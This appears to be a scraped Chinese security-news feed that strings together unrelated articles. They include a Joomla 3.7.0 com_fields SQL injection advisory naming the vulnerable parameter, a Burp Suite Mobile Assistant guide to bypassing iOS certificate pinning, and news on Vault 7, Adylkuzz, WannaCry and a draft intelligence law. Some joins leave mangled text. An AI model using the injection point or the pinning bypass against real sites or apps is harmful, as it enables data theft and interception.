影响版本:Joomla! 3.7.0 Core

漏洞简述:这个漏洞出现在3.7.0新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。由于对请求数据过滤不严导致sql 注入,sql注入对导致数据库中的敏感信息泄漏,例如用户的密码hash以及登陆后的用户的session(如果是获取到登陆后管理员的session,那么整个网站的后台系统可能被控制)。

漏洞细节


“com_fields ”组件从相同名称的管理端组件继承了一些视图,这样可以缩减大量相同功能的代码,提高代码的复用性。

http://p4.qhimg.com/t01083fc4845fd40c2c.png

从上面的代码片段可以看到,$config[‘base_path’]变量的值是JPATH_COMPONENT_ADMINISTRATOR常量传过去的,这个常量值代表管理员组件目录的本地路径,这样做会造成 Joomla! 从这个路径获取视图views和模块models,要成功的操作需要构造相关参数和值,view 参数的值是fields ,layout 参数的值是modal。那么构造的URL如下:

1
/index.php?option=com_fields&view=fields&layout=modal

访问此URL可以显示这个站点所有自定义字段的列表。

需要注意的是这是唯一的一个管理员视图的组件字段(我们前面说到的$config[‘base_path’]变量这块)。这种情况下,我们可以直接从管理员模型获取数据。具体的漏洞位于:

.MarchModelFields ?模型下的 ?./administrator/components/com_fields/models/fields.php文件中。

最终我们定位到出问题的方法getListQuery

http://p1.qhimg.com/t01c9f63efe1bcb8afd.png

如果不熟悉Joomla!执行SQL查询,$query-> order()真的只是一个方法,其输入将被连接到一个查询的ORDER BY语句,这里就是我们要做的最后一件事,将未经检查的用户输入带入到这里,看看会不会有惊喜

http://p0.qhimg.com/t0132ef473afd87aa0e.png

用户输入传入到list.fullordering,因为FieldsModelFields模型从继承JModelList类,它同样也包含上面的代码段。你可能会注意到它对内容做了一些验证,然后相应地设置list.direction和list.ordering,但是list.fullordering呢?

http://p8.qhimg.com/t01a4c0617197296f57.png

在switch语句之后,不管它是否生成了一个有效的list.direction或者list.ordering,我们可以利用这行指令通过我们输入的内容来设置我们想要的值。

所以为了利用这个漏洞,攻击者必须做的是为URL添加适当的参数,以便注入到SQL查询。

验证截图


http://p4.qhimg.com/t01f1880998aa2ac5e9.jpg

PoC


暂不公开

修复建议


升级最新版完整安装包以及升级补丁包

https://downloads.joomla.org/cms/joomla3/3-7-1

参考


https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html

https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html

https://downloads.joomla.org/cms/joomla3/3-7-10day

Burp Suite Mobile Assistant

前言


Burp Suite 在前段时间更新了v1.7.22版本,其中引入了一个新的模块: Mobile Assistant,它用于配合 Burp Suite 更方便地测试 iOS 应用程序。它可以修改 iOS 设备的系统代理设置,让 HTTP(S) 流量可以轻松重定位到电脑上正在运行的 Burp 。另外它还可以绕过你需要注入 App 的 SSL 证书的验证,拦截、检查和修改所有流量。

安装 Burp Suite Mobile Assistant


因为其功能的性质,需要依赖越狱设备上的软件包管理器 Cydia,并且要注意的是,Mobile Assistant 有些功能目前不支持 iOS10,所以在想使用 Mobile Assistant 相应的功能的时候,注意自己设备的固件版本。

安装 Mobile Assiatant 有两种方法,首先是使用 Cydia 安装:

1.在PC端打开 Burp Suite,设置好代理监听的接口以及端口,我这里设置的端口为8080,接口为我主机的 IP。

http://p0.qhimg.com/t0103262be9a28d2f96.png

2.在越狱设备上打开 Cydia,打开软件源选项,再编辑、添加。

http://p2.qhimg.com/t0185ad9e4fb0ff4156.png

3.要使用 HTTP 协议,输入我们 Burp Suite 所在 PC 端的 IP 地址或主机名以及 Burp Suite 监听的端口号。如果 Cydia 无法连接,注意你的监听代理的设置是否正确以及检查计算机防火墙是否关闭。

http://p2.qhimg.com/t01deb8121e0a7f0168.png

4.添加成功后,Burp Suite 现在应该显示为单个源。

http://p7.qhimg.com/t01c279c11c1ce39973.png

5.点开单个源:

http://p0.qhimg.com/t01948a9f69356a0fe6.png

6.点击mobileassistant应用程序进行安装:

http://p3.qhimg.com/t01b4df16dfba6f631b.png

7.点击安装:

http://p7.qhimg.com/t0119339ca39e8f6cb3.png

8.之后就会进行下载并安装它。在完成之后,您需要重新启动弹出菜单按钮来应用更改。

http://p1.qhimg.com/t0171b259cac6d802c9.png

9.在安装成功后便会在桌面出现我们的 Mobile Assistant 应用了。

http://p0.qhimg.com/t0165b0ef12f2a98250.png

还可以让设备通过浏览器访问 Burp Suite 的浏览器界面,即http://192.168.169.22:8080(主机局域网IP:监听端口)/mobileassistant.deb 来实现安装,下载完成之后通过 Cydia 来完成安装,但是要注意将我们的 deb 格式的安装包导入 /var/root/Media/Cydia/AutoInstall,然后重启 iOS 设备,进入 Cydia 的软件包,就可以发现已经安装好了。

http://p1.qhimg.com/t0166718cacd083bbca.png

无论是哪种安装方法,都必须要保证我们的主机以及 iOS 设备连接的是同一个网络。

使路由流量通过 Burp


首先你要保证你的 Burp 实例正在运行,并且可以从移动设备上进行网络访问,然后在移动设备端的 Burp Suite Mobile Assistant 中设置要进行连接的 Burp Suite 实例的主机 IP 和端口,然后来安装 CA 证书,将 Burp Suite 作为移动设备的代理。在配置完成后,可以通过以下方法来验证你的配置:

1. 网络连接:设备是否能够连接到给定的主机和端口。

2. Burp 验证:给定的主机 IP 和端口上监听服务是否是 Burp Suite 的实例。

3. CA 证书安装:设备是否信任所配置的 Burp Suite 实例的 CA 证书。

4. 启用代理:设备是否通过所提供的主机和端口为 HTTP 和 HTTPS 连接配置的代理服务器。

注意: 移动助手对代理设置所做的更改是短暂的,会在重新启动后恢复原来的设置。在运行 iOS 9.0 版以上的设备时,使用 Mobile Assistant 对代理设置所做的更改不会反映在 iOS 设置应用中。Burp CA 证书的安装在重新启动后不会恢复。

绕过证书锁定


证书锁定是应用程序用来防御恶意用户扮演可信任服务器的技术,在这种情况下,锁定(pinning)是一种术语,指的是针对本地合法证书进行身份验证(由远程服务器提供 SSL 证书)的过程。所以说,只有当服务器可以提供与应用相匹配的证书可以证明其身份时,才能和远程服务器建立连接。

默认情况下,Burp Suite 通过其自签名的 CA 证书为每台主机生成签名证书。即使设备可能会信任这些证书,但它们无法与应用程序预期的证书相匹配。那么即使该设备已正确配置为 HTTPS 代理,也会造成 Burp Suite 的拦截和查看应用程序流量的能力会被证书锁定削弱。

Burp Suite Mobile Assistant 还可以注入其他应用程序,并且还能挂载到低级系统 API 以破坏证书锁定,从而允许用户拦截流量,甚至在证书锁定执行中的时候也可以。

使用系统 API 、第三方库或自定义代码,可通过不同方式实现证书锁定。然而某些情况下注入应用程序成功也可能无法禁用锁定,这表明应用程序正使用自定义代码执行证书锁定。

注:Mobile Assistant 绕过证书锁定的特性目前暂不支持 iOS 10 版本。

注入到应用程序


将你想要进行测试的 app 添加到列表中,这时候如果该应用程序与列表中的应用程序中至少有一个表项匹配,那么该 app 将会通过绕过证书锁定的方式被注入,接下来我们来介绍一下。

1.首先启动 Burp Suite Mobile Assistant,跟启动其他应用程序一样,点击图标:

http://p8.qhimg.com/t0108a76ff41ac301e8.png

2.设置代理:

http://p3.qhimg.com/t0128d248f61963c92a.png

3.点击添加要注入的应用程序:

http://p2.qhimg.com/t01a20e2fb31535ff14.png

4.添加成功会出现在列表中:

http://p5.qhimg.com/t01209ec12942cf1828.png

5.之后就可以开启或关闭注入功能了。在开启后,Mobile Assistant 会执行各种检查,如果这个过程发现错误,将会被自动关闭这个功能。同时在开启注入功能之后,我们需要去启动被注入的应用程序(若之前启动了,需要重新启动才能生效):

http://p1.qhimg.com/t01c0ce3df5d13c6e60.png

6.如果弹出下图所示窗口,表示注入成功:

http://p6.qhimg.com/t0140fdc2f7fae348ee.png

7.点击OK,MobileAssistant将绕过证书锁定,并且应用程序将能使用Burpsuite的自签名证书以数据的形式传输到服务器和客户端之间。

http://p8.qhimg.com/t0189a107664eeab5c6.png

高级用户可能想将注入应用于多个相关应用。这可以通过添加高级过滤器来实现。以下类型的过滤器可用:

1.可执行文件:将会匹配每个可执行文件名称与过滤器值相匹配的应用程序。

2.软件包 ID:将会匹配有指定软件包 ID 的应用程序,或者有与该软件包 ID 有依赖关系的框架。比如,过滤器 com.apple.UIKit 将所有应用程序与 GUI 匹配; 过滤器 com.apple.Security 将与所有应用程序进行匹配。

3.类:将会匹配所有实现名称与过滤器值相匹配的类的应用程序。

从崩溃中恢复


注入应用程序和挂载 API 调用的过程中是存在潜在风险。为此,Cydia Substrate 插件在意外情况下可防止设备进入永久崩溃状态。出现 Burp Suite 移动助手崩溃并引发问题的情况时,请参阅 Cydia Substrate 的安全模式来解决。

参考链接


Configuring Burp Suite Mobile Assistant0day

午夜之后的暗杀者 维基解密又公布CIA的两个Windows恶意软件框架 主要用于监控及执行命令

当全球忙于应对自动传播的WannaCry勒索软件所带来的威胁时 ,维基解密发布了“Vault 7”(第七号保险库)的新一轮中央情报局(CIA)机密信息,详细介绍了CIA明显针对微软的Windows平台的恶意软件框架。

这两个恶意软件框架名为“AfterMidnight”(“午夜之后”)和“Assassin”(“暗杀者”),主要用于监控和上报运行Windows操作系统的受感染远程计算机上的行动,并执行CIA下达的恶意行动。

自三月以来,维基解密已发布几十万份文档和机密的黑客工具,并宣称这些文档和工具来自CIA。本轮信息是该组织的“Vault 7”系列的一部分,为该系列的第八次机密信息发布。

“午夜之后”恶意软件框架

维基解密发布了声明,宣称“午夜之后”允许操作员在目标系统上动态加载并执行恶意负载。

恶意负载的主控制器,伪装成自动保持运行的Windows动态链接库(DLL)文件,并执行Gremlins。Gremlins是隐藏在目标机器上的小负载,破坏目标软件的功能,对目标进行勘测或为其它Gremlins提供服务。

“午夜之后”在目标机器上安装后,利用名为“Octopus”的HTTPS监听站系统,检查是有预计事件发生。若有预计事件发生,恶意软件框架下载并存储所有所需组件,然后在内存中加载所有新Gremlins。

最新披露的机密信息提供的用户手册表明,“午夜之后”相关的本地存储已加密,而加密密钥并不存储在目标机器上。名为“AlphaGremlin”的特殊负载包含一种自定义脚本语言,可使操作员调度目标系统上执行的自定义任务。

“暗杀者”恶意软件框架

“暗杀者”是一种类似于“午夜之后”的自动植入的恶意软件,在运行Windows系统的远程计算机上提供一个简单采集平台。该工具在目标计算机上安装后,在Windows服务进程中自动运行植入的软件,可使操作员在受感染的机器上执行恶意任务,这一过程与“午夜之后”相同。

“暗杀者”包含四个子系统:植入软件、生成器、命令与控制(C&C)以及监听站。

植入的软件为目标Windows机器上的该工具提供核心逻辑和功能,包括通信和任务执行。该植入的软件通过生成器进行配置,通过一些未定义向量在目标计算机上部署。

部署前,生成器配置植入的软件和部署相关的可执行文件。该工具的用户手册描述道,生成器“提供用于设置植入软件配置的自定义命令行接口,然后生成植入的软件。”

C&C子系统作为操作员与监听站的接口,监听站允许“暗杀者”植入软件通过web服务器与C&C子系统通信。上周,维基解密爆出一款名为“Archimedes”(阿基米德)的中间人(MitM)攻击工具,宣称该工具由CIA创建,用于攻击局域网中的计算机。

美国情报机构发现漏洞后不上报受影响厂商这一做法在最近三天引发了全球范围的混乱。这几天,WannaCry勒索软件利用SMB漏洞攻击了全球150多个国家的计算机,而国家安全局此前已发现了该SMB而未通报。然而,“影子经纪人”(Shadow Brokers)黑客组织一个月前就已披露了国家安全局发现SMB漏洞这一事件。

微软严厉谴责国家安全局在WannaCry攻击中所扮演的角色

甚至是微软总裁Brad Smith也谴责了美国情报局这一做法,表示由于国家安全局、CIA和其他情报机构对发现的零日漏洞未作披露,导致WannaCry攻击带来广泛损害。Smith说,

“这是2017年的一种新模式。我们在维基解密上看到了CIA未披露的漏洞,而国家安全局发现的该漏洞也由于未及时上报而影响了全球用户。”

自三月以来,维基解密已经发布了八次Vault 7系列文件。这一系列文件除上周的最新披露信息,还包括以下内容:

本文由:HackerNews 发布,版权归属于原作者。
如果转载,请注明出处及本文链接:
http://toutiao.secjia.com/cia-vault-7-aftermidnight-assassin
如果此文章侵权,请留言,我们进行删除。
相关阅读

【下载】维基解密开放了CIA工具用户手册 来看看入侵三星F系列智能电视机的Weeping Angel 工具

该工具需要通过物理接触方法使用 U 盘安装到目标的智能电视上,记录下的音频数据再通过物理接触方法收回,但利用附近的 WIFI 热点远程获取记录的音频数据也是可能的。

2017年3月14日 13:00 · 1926人气 · 0评论

CIA回应维基解密泄露事件 我们敢于创新但并不监视美国同胞 天啊你这说给谁听的?

CIA窃听丑闻还在发酵,几个关键信息。1匿名美国官员称这是承包商干的;2CIA说这都是为了保护美国人民;3中方再次敦促美方停止这些行为

2017年3月24日 16:09 · 1331人气 · 0评论

积极的信号! 维基解密与科技公司分享中情局黑客工具 但白宫认为应该先进行法律咨询

维基解密在Twitter上进行了一次调查,调查显示 57%的人认为应该与科技公司展开合作,因为可以保证民众安全。

2017年3月24日 16:06 · 795人气 · 0评论

受“维基解密 cia”事件影响 思科将给公司300多台交换机打补丁 修补思科集群管理协议中的漏洞

在研究维基解密公布的CIA档案之后,思科在其集群管理协议中发现了一个新的漏洞,影响到公司318台交换机。该漏洞可允许远程攻击者执行代码或重载目标设备。目前尚不清楚中情局何时发现的漏洞。

2017年3月24日 15:54 · 474人气 · 0评论

左边黑客掌握6.27亿个用户登录凭证 右边维基解密称CIA 10年来在出厂iphone预装监视工具

面对两难挑战,苹果公司称我们绝对没有出现问题,但建议在其他网站上使用了同样ID和密码的iCloud用户重置密码。

2017年3月24日 15:52 · 775人气 · 0评论

文章评论

  • 还没有评论,沙发等你来抢


安全社区正在使用多说

0day

如果你没被WannaCry感染就一定要小心Adylkuzz

E安全5月17日讯 ProofPoint公司的安全专家们发现,相当一部分设备之所以未受WannaCry影响,是因为其已经被Adylkuzz成功感染。

近期引发轩然大波的WannaCry勒索软件攻击事件并非首例与美国NSA“永恒之蓝”及“双脉冲星”黑客工具相关的安全问题。

Adylkuzz才是WannaCry勒索软件的大哥

Proofpoint公司的研究人员们已经发现,隐藏式矿工Adylkuzz才是首例利用永恒之蓝触发服务器消息块(简称SMB)协议内安全漏洞的实际威胁。

该僵尸网络利用永恒之蓝漏洞以提升恶意软件传播能力,同时通过双脉冲星后门立足目标设备传递恶意有效载荷。

如果你没被WannaCry感染就一定要小心Adylkuzz-E安全

Adylkuzz的圈地运动

一旦该矿工程序感染了目标设备,后者将无法访问共享型Windows资源、性能出现逐步下滑。而更值得注意的是,该恶意软件还会关闭SMB网络以防止所在设备被其它恶意软件进一步感染。

这意味着受到Adylkuzz感染的设备将不会遭到WannaCry勒索软件的破坏。换言之,如果没有Adylkuzz的存在,此段时间爆发的、利用同一安全漏洞的大规模勒索软件攻击影响也许会更加严重。

安全研究人员卡芬内(Kafeine)解释称,“一部分大型企业于最初将最近报告的网络问题归因于WannaCry活动。然而需要强调的是,Adylkuzz的恶意活动能力明显超越了WannaCry攻击。这一攻击活动仍在进行当中,尽管规模不及WannaCry,但影响范围仍然相当可观且拥有巨大的潜在破坏性。”

卡芬内推测称,Adylkuzz恶意软件可能已经修复了WannaCry所针对的安全漏洞,并由此限制了该勒索软件的传播规模。

Adylkuzz背后的恶意操纵者利用几套专用虚拟服务器来实施攻击,通过永恒之蓝漏洞完成入侵活动,而后经由双脉冲星后门程序以下载并执行Adylkuzz恶意软件。

一旦Adylkuzz恶意软件成功感染目标设备,这款矿工程序会首先停止其自身的一切潜在实例,同时阻止SMB通信以避免发生进一步感染。

其恶意代码还会确定受害者的公共IP地址,而后下载采矿指令、Monero加密矿工程序以及清理工具。

如果你没被WannaCry感染就一定要小心Adylkuzz-E安全

卡芬内进一步补充称,“其随后会确定受害者的公共IP地址,而后下载采矿指令、加密矿工程序以及清理工具。就目前来看,Adylkuzz在任意给定时间段内都拥有多套负责托管加密矿工程序二进制代码与采矿指令的命令与控制(简称C&C)服务器作为配合。”

糟糕的是Adylkuzz早于WannaCry采取行动

根据对欺诈分子所使用的Monero地址进行采矿支付情况分析,可以判断攻击活动从今年4月24日就已经开始,而到5月11日该攻击者应该已经切换到了新的采矿用户地址。截至目前,该攻击者总计通过三个不同的Monero地址收到约3万3千美元付款。

目前Proofpoint公司已经确定了超过20台用于扫描及攻击的主机,同时发现了十余台活跃Adylkuzz C&C服务器。E安全小编预计还将有更多Monero采矿付款地址与Adylkuzz C&C服务器同这一恶意活动有所关联。0day

中华人民共和国国家情报法(草案)全文公开征求意见

全国人大常委会5月16日在中国人大网官网公布《中华人民共和国国家情报法(草案)》全文,公开征求意见,意见截止日期为2017年6月4日。

2016年12月19日在十二届全国人大常委会第二十五次会议上首次审议了国家情报法草案,全国人大常委会2017年立法工作计划中明确了将在2017年6月召开的全国人大常委会继续审议国家情报法。

草案全文共计五章28个条文,主要内容是明确了国家情报工作的任务和体制机制,明确了国家情报工作机构的职权,明确了国家情报工作保障,明确对国家情报工作的规范和监督。

该草案声明中写道:“国家情报工作应该为维护国家安全和保护国家利益提供支持。”不过,其中没有就该法的具体通过时间做出说明。

草案中提及的国家利益,包括国家政权、主权、独立以及领土完整。

草案声明称,将会依法对外国团体和个人的危害国家安全行为进行调查。也就是说,如果该法获得通过,将会给予当局监视和调查国内外个人及团体新法律依据。

根据草案,当局可以建议海关和边防进行检查,对于阻碍其工作或者泄露相关国家机密者,将予以15天的行政拘留。

根据新草案,在需要的情况下,情报当局可以进入“管制区”、使用“技术侦察手段”。不过,草案没有具体说明是哪些区域和措施。

根据草案,当局在情报搜集工作当中可以征用和扣押车辆、通讯设备甚至房地产,如建筑物等,而业主会得到相应的补偿。如果需要,情报人员也可以建立相关场所、设备或者设施。

中华人民共和国国家情报法(草案)全文公开征求意见-E安全

以下为草案全文:

中华人民共和国国家情报法(草案)


目 录

  • 第一章 总 则
  • 第二章 国家情报工作机构职权
  • 第三章 国家情报工作保障
  • 第四章 法律责任
  • 第五章 附 则

第一章?总 则

第一条

为了加强和保障国家情报工作,维护国家安全和利益,根据宪法,制定本法。

第二条

国家情报工作应当坚持总体国家安全观,为国家重大决策提供情报参考,为防范和化解危害国家安全的风险提供情报支持,维护国家政权、主权、统一、独立和领土完整、人民福祉、经济社会可持续发展和国家其他重大利益。

第三条

国家建立健全集中统一、分工协作、科学高效的国家情报体制。

中央国家安全领导机构对国家情报工作实行统一领导,制定国家情报工作方针政策,规划国家情报工作整体发展,建立健全国家情报工作协调机制,统筹协调各领域国家情报工作,研究决定国家情报工作中的重大事项。

中央军事委员会统一领导和组织军队情报工作。

第四条

国家情报工作坚持公开工作与秘密工作相结合、专门工作与群众路线相结合、分工负责与协作配合相结合的原则。

第五条

国家安全机关和公安机关情报机构、军队情报机构(以下统称国家情报工作机构)按照职责分工,相互配合,做好情报工作、开展情报行动。

各有关国家机关应当根据各自职能和任务分工,与国家情报工作机构密切配合。

第六条

一切国家机关、武装力量、政党、社会团体、企业事业组织和公民,都应当支持、协助和配合国家情报工作,保守所知悉的国家情报工作秘密。

第七条

国家情报工作应当依法进行,尊重和保障人权,维护公民和组织的合法权益。

第八条

国家对支持、协助国家情报工作的个人和组织给予保护,对作出重大贡献的给予奖励。

第二章?国家情报工作机构职权

第九条

国家情报工作机构根据工作需要,依法使用必要的方式、手段和渠道,在境内外开展情报工作。

第十条

国家情报工作机构应当依法搜集、处理境外机构、组织、个人实施或者指使、资助他人实施,或者境内机构、组织、个人与境外机构、组织、个人相勾结实施的危害中华人民共和国国家安全、利益的相关信息。

第十一条

境外机构、组织、个人在中国境内实施的危害中华人民共和国国家安全、利益的行为,都必须受到法律追究。国家情报工作机构应当为防范、制止和惩治上述行为提供情报参考或依据。

第十二条

国家情报工作机构可以与有关个人和组织建立合作关系,委托开展相关工作。

第十三条

各级人民政府有关部门、企业事业单位或者其他组织、公民应当为国家情报工作机构依法开展工作提供必要协助,并保守秘密。

第十四条

国家情报工作机构根据工作需要,按照国家有关规定,经过严格的批准手续,可以采取技术侦察措施。

第十五条

国家情报工作机构工作人员依法执行任务时,根据国家有关规定,经过批准,出示相应证件,可以向有关机关、团体、企业事业组织和个人了解、询问有关情况,查阅或者调取有关的档案、资料、物品。

第十六条

国家情报工作机构工作人员依法执行任务时,根据国家有关规定,经过批准,出示相应证件,可以进入限制进入的有关地区、场所;因执行紧急任务需要,经出示相应证件,可以享受通行便利。

国家情报工作机构工作人员根据工作需要,按照国家有关规定,可以优先使用或者依法征用机关、团体、企业事业组织和个人的交通工具、通信工具、场地和建筑物,必要时,可以设置相关工作场所和设备、设施,任务完成后应当及时归还或者恢复原状,并依照规定支付相应费用;造成损失的,应当补偿。

第十七条

国家情报工作机构根据工作需要,按照国家有关规定,可以提请海关、出入境边防检查、检验检疫等机关提供免检等便利。

第十八条

国家情报工作机构及其工作人员在工作中,应当严格依法办事,不得超越职权、滥用职权、徇私舞弊,不得侵犯公民和组织的合法权益,不得泄露国家秘密、商业秘密和个人隐私。

第三章?国家情报工作保障

第十九条

国家加强国家情报工作机构建设,对其机构设置、人员、编制、经费、资产实行特殊管理,给予特殊保障。

国家建立适应情报工作需要的人员录用、选调、考核、培训、待遇、退出等管理制度。

第二十条

国家情报工作机构应当适应情报工作需要,提高开展情报工作的能力。

第二十一条

国家情报工作机构的工作人员因执行任务,或者与国家情报工作机构建立合作关系的人员因协助国家情报工作,其本人或者近亲属人身安全受到威胁时,国家有关部门应当采取必要措施,予以保护、营救。

第二十二条

对为国家情报工作作出贡献并需要安置的人员,公安、民政、财政、卫生、教育、人力资源和社会保障等有关部门以及国有企业事业单位应当协助国家情报工作机构妥善安置。

第二十三条

国家情报工作机构应当建立监督和安全审查制度,对其工作人员遵守纪律的情况进行监督,并依法采取必要措施,定期或者不定期进行安全审查。

第二十四条

任何个人和组织对国家情报工作机构及其工作人员超越职权、滥用职权、徇私舞弊和其他违法行为,有权向上级机关或者有关部门检举、控告。受理检举、控告的有关机关或者部门应当及时查处,并将查处结果告知检举人、控告人。

对依法检举、控告国家情报工作机构及其工作人员的个人和组织,任何其他个人和组织不得压制和打击报复。

第四章?法律责任

第二十五条

违反本法有关规定,阻碍国家情报工作机构及其工作人员依法开展情报工作的,由国家情报工作机构建议相关单位予以处分或者由国家安全机关、公安机关处警告或者十五日以下行政拘留;构成犯罪的,依法追究刑事责任。

第二十六条

泄露与国家情报工作有关的国家秘密的,由国家情报工作机构建议相关单位予以处分或者由国家安全机关、公安机关处十五日以下行政拘留;构成犯罪的,依法追究刑事责任。

第二十七条

国家情报工作机构工作人员超越职权、滥用职权、徇私舞弊,或者泄露国家秘密、商业秘密和个人隐私的,依法给予处分;构成犯罪的,依法追究刑事责任。

第五章?附 则

第二十八条

本法自公布之日起施行。

关于《中华人民共和国国家情报法(草案)》的说明


一、立法的总体思路

一是以总体国家安全观为指导,坚持社会主义法治原则,着眼于加强和保障国家情报工作,尊重和保障人权,为国家情报工作提供基本的法律原则和法律依据。

二是总结我国国家情报工作的成功经验,立足于当前和今后一段时期开展国家情报工作的实际需要,规定了国家情报工作的体制机制、国家情报工作机构的职权以及国家情报工作保障等内容。

三是处理好与国家安全法、反间谍法、反恐怖主义法等法律的关系,做好与这些法律的衔接。

二、草案的主要内容

(一)明确国家情报工作的任务和体制机制。草案规定,国家情报工作坚持总体国家安全观,为国家重大决策提供情报参考,为防范和化解危害国家安全的风险提供情报支持,维护国家政权、主权、统一、独立和领土完整、人民福祉、经济社会可持续发展和国家其他重大利益(第二条)。建立健全集中统一、分工协作、科学高效的国家情报体制(第三条)。国家安全机关和公安机关情报机构、军队情报机构按照职责分工,相互配合,做好情报工作、开展情报行动(第五条)。

(二)明确国家情报工作机构的职权。草案规定,国家情报工作机构应当依法搜集、处理境外机构、组织、个人实施或者指使、资助他人实施,或者境内机构、组织、个人与境外机构、组织、个人相勾结实施的危害中华人民共和国国家安全、利益的相关信息(第十条)。国家情报工作机构应当为防范、制止和惩治境外机构、组织、个人在中国境内实施的危害我国国家安全、利益的行为提供情报参考或依据(第十一条)。国家情报工作机构工作人员依法执行任务时,可以向有关机关、团体、企业事业组织和个人了解、询问有关情况,查阅或者调取有关的档案、资料、物品;进入限制进入的有关地区、场所;享受通行便利等(第十五条、第十六条)。

(三)明确国家情报工作保障。草案规定,国家加强国家情报工作机构建设,对其机构设置、人员、编制、经费、资产实行特殊管理;建立适应情报工作需要的人员录用、选调、考核、培训、待遇、退出等管理制度(第十九条)。对国家情报工作机构工作人员和有合作关系人员及其近亲属人身安全予以保护(第二十一条)。对为国家情报工作作出贡献并需要安置的人员,有关部门应当协助国家情报工作机构妥善安置(第二十二条)。草案还规定了公民和组织的支持、配合义务(第六条、第十三条)。规定了阻碍国家情报工作、泄露与国家情报工作有关的国家秘密的法律责任(第二十五条、第二十六条)。

(四)明确对国家情报工作的规范和监督。草案规定,国家情报工作应当依法进行,尊重和保障人权(第七条)。国家情报工作机构及其工作人员不得超越职权、滥用职权、徇私舞弊,不得侵犯公民和组织的合法权益,不得泄露国家秘密、商业秘密和个人隐私(第十八条)。国家情报工作机构使用必要的方式、手段和渠道开展工作时,应当遵守国家有关规定(第十四条、第十五条、第十六条、第十七条)。国家情报工作机构应当建立监督和安全审查制度(第二十三条)。草案还规定了任何个人和组织对国家情报工作机构及其工作人员超越职权、滥用职权、徇私舞弊和其他违法行为,有权向上级机关或者有关部门检举、控告(第二十四条)。

社会公众可以将意见寄送全国人大常委会法制工作委员会(北京市西城区前门西大街1号,邮编:100805。信封上请注明国家情报法草案征求意见)。

中国人大网在线意见征求地址:http://www.npc.gov.cn/COBRS_LFYJNEW/user/UserIndex.jsp?ID=8289337

友情提示

1、提出意见和建议请遵守相关法律法规;

2、请针对法律草案提出意见和建议,您的意见和建议将会被认真研究;

3、为便于联系,并对意见集群进行归纳整理和分析,请尽量如实填写个人信息。0day

Wannacry勒索软件蠕虫近期传播态势

北京时间5月12日以来,互联网上出现了针对Windows操作系统的Wannacry勒索软件蠕虫大范围感染事件,并在5月13日出现了传播感染高峰期,对我国互联网络构成较为严重的安全威胁。在经过突发重大网络安全事件应急协调处置工作后,5月14日下午以后Wannacry勒索软件蠕虫在全网的传播趋势已得到有效控制,但仍应保持高度关注。

通过对 Wannacry蠕虫所发动的SMB漏洞攻击态势的持续监测,CNCERT 发现自5月13 日至 5 月 14 日,发起 SMB 漏洞攻击尝试的主机(很可能已被Wannacry蠕虫感染)数量约 2000 台/小时,受到 SMB 漏洞攻击尝试的主机数量约 52 万台/小时。5月15日至5月16日,发起 SMB 漏洞攻击尝试的主机(很可能已被Wannacry蠕虫感染)数量降至约 814 台/小时,受到 SMB 漏洞攻击尝试的主机数量降至约 21.3 万台/小时。可见,蠕虫传播所发动的 SMB 漏洞攻击次数大幅减少,传播趋势得倒有效控制。

Wannacry勒索软件蠕虫近期传播态势 -E安全

图1:发起SMB漏洞攻击尝试的主机数量变化趋势图

Wannacry勒索软件蠕虫近期传播态势 -E安全

图2:受到SMB漏洞攻击尝试的主机数量趋势图

自Wannacry勒索软件蠕虫感染事件发生以来,CNCERT持续跟踪监测利用SMB漏洞发动攻击活动情况,并及时发布应急处置方案。截止5月16日上午7时,全球约304.1万个IP地址遭受“永恒之蓝”SMB漏洞攻击,主要分布在阿联酋、中国台湾、美国和俄罗斯,其中我国境内的IP地址数量约有9.4万个。同时,监测发现发起“Wannacry”蠕虫病毒攻击的IP地址(可能也已感染该病毒)数量近5.2万个,主要分布在中国大陆、中国台湾、阿联酋和俄罗斯,其中我国境内的IP地址数量约2.6万个。0day

多位海外网络安全专家将出席2017中国网络安全年会

由工业和信息化部指导,国家互联网应急中心和中国通信学会联合主办,中国电子学会、中国互联网协会网络与信息安全工作委员会和中国通信学会通信安全技术委员会协办的2017中国网络安全年会(第14届)将于5月22日-24日在山东青岛举办。22日将举行第二届CNCERT国际合作论坛暨FIRST技术研讨会。

多位海外网络安全专家将出席2017中国网络安全年会 -E安全

据组委会介绍,第二届CNCERT国际合作论坛暨FIRST技术研讨会面向2017中国网络安全年会的所有参会代表开放,与国际事件应急响应与安全组织(FIRST)成员、亚太地区计算机应急响应组织(APCERT)成员、东盟各国CERT组织和政府主管部门、以及CNCERT国际合作伙伴面对面交流网络安全新技术和新动向。

截至目前,已邀请到FIRST董事会委员Adli Wahid、世界银行高级信息安全官员Vaman Amarjeet G Kini、巴基斯坦信息安全协会会长Ammar Jaffri、亚太地区市场开发总监Philip Victor,以及来自澳大利亚、俄罗斯、韩国、日本、印度、德国、巴西等国的网络安全专家参会。

CNCERT国际合作论坛于2016年首次举办,致力于为CNCERT、国际伙伴和网络安全企业提供一个在网络安全应急领域交流的平台,进一步增进互信,相互学习,促进开展全方面的网络安全合作。

FIRST成立于1990年,是全球网络安全应急响应领域公认的领导组织,现有成员300余个,遍及79个国家和地区。本次FIRST技术研讨会邀请FIRST成员参加,与我国网络安全产业界技术专家共同交流和深入探讨网络安应急处置最新发展动态、技术和经验。0day

《中国移动互联网发展状况及其安全报告(2017)》

2017年5月17日,中国互联网协会、国家互联网应急中心在京联合发布《中国移动互联网发展状况及其安全报告(2017)》,这是国内针对中国移动互联网发展状况及其安全的顶级、专业、权威的研究报告,报告对中国移动互联网发展状况、移动互联网安全态势情况及移动互联网治理情况等方面进行了全面、综合、深入地统计、分析和研究。报告显示,在国家大力实施创新驱动发展、互联网+、宽带中国及大众创业、万众创新等战略下,中国移动互联网发展呈现出以下特征和趋势(根据CNCERT抽样监测结果统计)。

2016年中国境内活跃的手机上网码号数量达12.47亿,较2015年增长59.9%。在全国31个省、市、自治区和直辖市中,广东省的手机上网码号数量数量1.49亿,位居全国首位,江苏省和北京市的数量位居全国第二和第三,分别为1.31亿和0.78亿。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图1 2016年我国境内手机上网码号数量按地区分布(来源:CNCERT/CC)

